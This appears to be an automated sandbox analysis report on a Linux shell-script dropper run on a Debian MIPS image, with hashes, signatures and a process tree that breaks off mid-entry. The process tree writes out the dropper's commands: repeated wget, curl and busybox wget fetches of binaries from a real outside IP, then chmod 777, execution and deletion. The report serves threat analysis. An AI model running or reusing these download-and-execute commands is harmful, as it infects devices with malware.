046f7e99c96682be2323fe03598c568f7b51dc5e5e8473fc8e7b8e0446820b6c

Analysis

max time kernel
69s
max time network
71s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
22/11/2024, 02:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
046f7e99c96682be2323fe03598c568f7b51dc5e5e8473fc8e7b8e0446820b6c.sh
Size 10KB
Sample241122-cf9nfasjct
SHA256 046f7e99c96682be2323fe03598c568f7b51dc5e5e8473fc8e7b8e0446820b6c
MD5 447428d96894fb4c51c3f87a6ea3fd5a
SHA1 fc0ddfb82ee771625e82b6a777de44a766a2becc
SHA512 98d575d64997904f8a122d754c073e3236eb05f5639352c944cbc559f07db3c8ecd9fa761d888d7745954d4079b24723af012f73651a517ea3afdac745859c9b
SSDEEP 96:VRd4l5y5e5Y555Bn51u0H6H2HMH7HzHWm97c3e7ceJe+jqmmYl3e7ceJe+jMmt2a:7Hm97cO1c5mmn1c4m+r
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
907	chmod
949	chmod
877	chmod
856	chmod
937	chmod
967	chmod
979	chmod
751	chmod
931	chmod
862	chmod
837	chmod
883	chmod
895	chmod
925	chmod
745	chmod
814	chmod
901	chmod
919	chmod
943	chmod
808	chmod
913	chmod
955	chmod
973	chmod
776	chmod
985	chmod
961	chmod
889	chmod
868	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv	curl
File opened for modification	/tmp/rO17J7vH26WTKp22FlK0SUY0RSHCINcFay	curl
File opened for modification	/tmp/kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa	curl
File opened for modification	/tmp/Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a	curl
File opened for modification	/tmp/a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB	curl
File opened for modification	/tmp/rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM	curl
File opened for modification	/tmp/rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM	curl
File opened for modification	/tmp/xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5	curl
File opened for modification	/tmp/yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE	curl
File opened for modification	/tmp/xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5	curl
File opened for modification	/tmp/fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc	curl
File opened for modification	/tmp/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv	curl
File opened for modification	/tmp/k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr	curl
File opened for modification	/tmp/Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a	curl
File opened for modification	/tmp/fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc	curl
File opened for modification	/tmp/ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM	curl
File opened for modification	/tmp/t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe	curl
File opened for modification	/tmp/rO17J7vH26WTKp22FlK0SUY0RSHCINcFay	curl
File opened for modification	/tmp/a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB	curl
File opened for modification	/tmp/t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe	curl
File opened for modification	/tmp/kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa	curl
File opened for modification	/tmp/xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO	curl
File opened for modification	/tmp/eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy	curl
File opened for modification	/tmp/k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr	curl
File opened for modification	/tmp/ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM	curl
File opened for modification	/tmp/xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO	curl
File opened for modification	/tmp/eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy	curl
File opened for modification	/tmp/yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE	curl

/tmp/046f7e99c96682be2323fe03598c568f7b51dc5e5e8473fc8e7b8e0446820b6c.sh
/tmp/046f7e99c96682be2323fe03598c568f7b51dc5e5e8473fc8e7b8e0446820b6c.sh
1⤵
PID:715
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:719
- /usr/bin/wget
  wget http://216.126.231.240/bins/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  2⤵
  PID:721
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:741
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  2⤵
  PID:744
- /bin/chmod
  chmod 777 b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  ./b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  2⤵
  - Executes dropped EXE
  PID:746
- /bin/rm
  rm b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  2⤵
  PID:747
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  2⤵
  PID:748
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:749
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  2⤵
  PID:750
- /bin/chmod
  chmod 777 ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  ./ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  2⤵
  - Executes dropped EXE
  PID:752
- /bin/rm
  rm ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  2⤵
  PID:753
- /usr/bin/wget
  wget http://216.126.231.240/bins/a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  2⤵
  PID:754
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:759
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  2⤵
  PID:770
- /bin/chmod
  chmod 777 a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  ./a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  2⤵
  - Executes dropped EXE
  PID:778
- /bin/rm
  rm a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  2⤵
  PID:781
- /usr/bin/wget
  wget http://216.126.231.240/bins/rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  2⤵
  PID:782
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:793
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  2⤵
  PID:805
- /bin/chmod
  chmod 777 rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  ./rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  2⤵
  - Executes dropped EXE
  PID:809
- /bin/rm
  rm rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  2⤵
  PID:810
- /usr/bin/wget
  wget http://216.126.231.240/bins/k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  2⤵
  PID:811
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:812
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  2⤵
  PID:813
- /bin/chmod
  chmod 777 k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  ./k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  2⤵
  - Executes dropped EXE
  PID:815
- /bin/rm
  rm k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  2⤵
  PID:816
- /usr/bin/wget
  wget http://216.126.231.240/bins/yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  2⤵
  PID:817
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:819
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  2⤵
  PID:830
- /bin/chmod
  chmod 777 yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  2⤵
  - File and Directory Permissions Modification
  PID:837
- /tmp/yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  ./yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  2⤵
  - Executes dropped EXE
  PID:838
- /bin/rm
  rm yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  2⤵
  PID:841
- /usr/bin/wget
  wget http://216.126.231.240/bins/xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5
  2⤵
  PID:843
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:852
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5
  2⤵
  PID:855
- /bin/chmod
  chmod 777 xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5
  ./xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5
  2⤵
  - Executes dropped EXE
  PID:857
- /bin/rm
  rm xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5
  2⤵
  PID:858
- /usr/bin/wget
  wget http://216.126.231.240/bins/t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe
  2⤵
  PID:859
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:860
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe
  2⤵
  PID:861
- /bin/chmod
  chmod 777 t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe
  ./t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe
  2⤵
  - Executes dropped EXE
  PID:863
- /bin/rm
  rm t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe
  2⤵
  PID:864
- /usr/bin/wget
  wget http://216.126.231.240/bins/xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  2⤵
  PID:865
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:866
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  2⤵
  PID:867
- /bin/chmod
  chmod 777 xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  ./xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  2⤵
  - Executes dropped EXE
  PID:869
- /bin/rm
  rm xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  2⤵
  PID:873
- /usr/bin/wget
  wget http://216.126.231.240/bins/kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  2⤵
  PID:874
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  2⤵
  PID:876
- /bin/chmod
  chmod 777 kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  ./kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  2⤵
  PID:879
- /usr/bin/wget
  wget http://216.126.231.240/bins/rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  2⤵
  PID:880
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  2⤵
  PID:882
- /bin/chmod
  chmod 777 rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  ./rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  2⤵
  PID:885
- /usr/bin/wget
  wget http://216.126.231.240/bins/eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  2⤵
  PID:886
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  2⤵
  PID:888
- /bin/chmod
  chmod 777 eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  ./eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  2⤵
  - Executes dropped EXE
  PID:890
- /bin/rm
  rm eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  2⤵
  PID:891
- /usr/bin/wget
  wget http://216.126.231.240/bins/fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  2⤵
  PID:892
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  2⤵
  PID:894
- /bin/chmod
  chmod 777 fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  ./fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  2⤵
  PID:897
- /usr/bin/wget
  wget http://216.126.231.240/bins/Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  2⤵
  PID:898
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:899
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  2⤵
  PID:900
- /bin/chmod
  chmod 777 Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  ./Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  2⤵
  PID:903
- /usr/bin/wget
  wget http://216.126.231.240/bins/xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  2⤵
  PID:904
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:905
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  2⤵
  PID:906
- /bin/chmod
  chmod 777 xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  ./xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  2⤵
  - Executes dropped EXE
  PID:908
- /bin/rm
  rm xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
  2⤵
  PID:909
- /usr/bin/wget
  wget http://216.126.231.240/bins/kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  2⤵
  PID:910
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:911
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  2⤵
  PID:912
- /bin/chmod
  chmod 777 kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  ./kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  2⤵
  - Executes dropped EXE
  PID:914
- /bin/rm
  rm kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
  2⤵
  PID:915
- /usr/bin/wget
  wget http://216.126.231.240/bins/rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  2⤵
  PID:916
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:917
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  2⤵
  PID:918
- /bin/chmod
  chmod 777 rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /tmp/rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  ./rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  2⤵
  - Executes dropped EXE
  PID:920
- /bin/rm
  rm rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
  2⤵
  PID:921
- /usr/bin/wget
  wget http://216.126.231.240/bins/eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  2⤵
  PID:922
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:923
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  2⤵
  PID:924
- /bin/chmod
  chmod 777 eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  2⤵
  - File and Directory Permissions Modification
  PID:925
- /tmp/eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  ./eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  2⤵
  - Executes dropped EXE
  PID:926
- /bin/rm
  rm eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
  2⤵
  PID:927
- /usr/bin/wget
  wget http://216.126.231.240/bins/fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  2⤵
  PID:928
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:929
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  2⤵
  PID:930
- /bin/chmod
  chmod 777 fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  ./fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  2⤵
  - Executes dropped EXE
  PID:932
- /bin/rm
  rm fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
  2⤵
  PID:933
- /usr/bin/wget
  wget http://216.126.231.240/bins/Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  2⤵
  PID:934
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:935
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  2⤵
  PID:936
- /bin/chmod
  chmod 777 Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  2⤵
  - File and Directory Permissions Modification
  PID:937
- /tmp/Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  ./Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  2⤵
  - Executes dropped EXE
  PID:938
- /bin/rm
  rm Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
  2⤵
  PID:939
- /usr/bin/wget
  wget http://216.126.231.240/bins/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  2⤵
  PID:940
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:941
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  2⤵
  PID:942
- /bin/chmod
  chmod 777 b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  2⤵
  - File and Directory Permissions Modification
  PID:943
- /tmp/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  ./b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  2⤵
  - Executes dropped EXE
  PID:944
- /bin/rm
  rm b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
  2⤵
  PID:945
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  2⤵
  PID:946
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:947
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  2⤵
  PID:948
- /bin/chmod
  chmod 777 ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  2⤵
  - File and Directory Permissions Modification
  PID:949
- /tmp/ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  ./ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  2⤵
  - Executes dropped EXE
  PID:950
- /bin/rm
  rm ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  2⤵
  PID:951
- /usr/bin/wget
  wget http://216.126.231.240/bins/a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  2⤵
  PID:952
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:953
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  2⤵
  PID:954
- /bin/chmod
  chmod 777 a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  2⤵
  - File and Directory Permissions Modification
  PID:955
- /tmp/a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  ./a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  2⤵
  - Executes dropped EXE
  PID:956
- /bin/rm
  rm a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  2⤵
  PID:957
- /usr/bin/wget
  wget http://216.126.231.240/bins/rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  2⤵
  PID:958
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:959
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  2⤵
  PID:960
- /bin/chmod
  chmod 777 rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  2⤵
  - File and Directory Permissions Modification
  PID:961
- /tmp/rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  ./rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  2⤵
  - Executes dropped EXE
  PID:962
- /bin/rm
  rm rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  2⤵
  PID:963
- /usr/bin/wget
  wget http://216.126.231.240/bins/k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  2⤵
  PID:964
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:965
- /bin/busybox
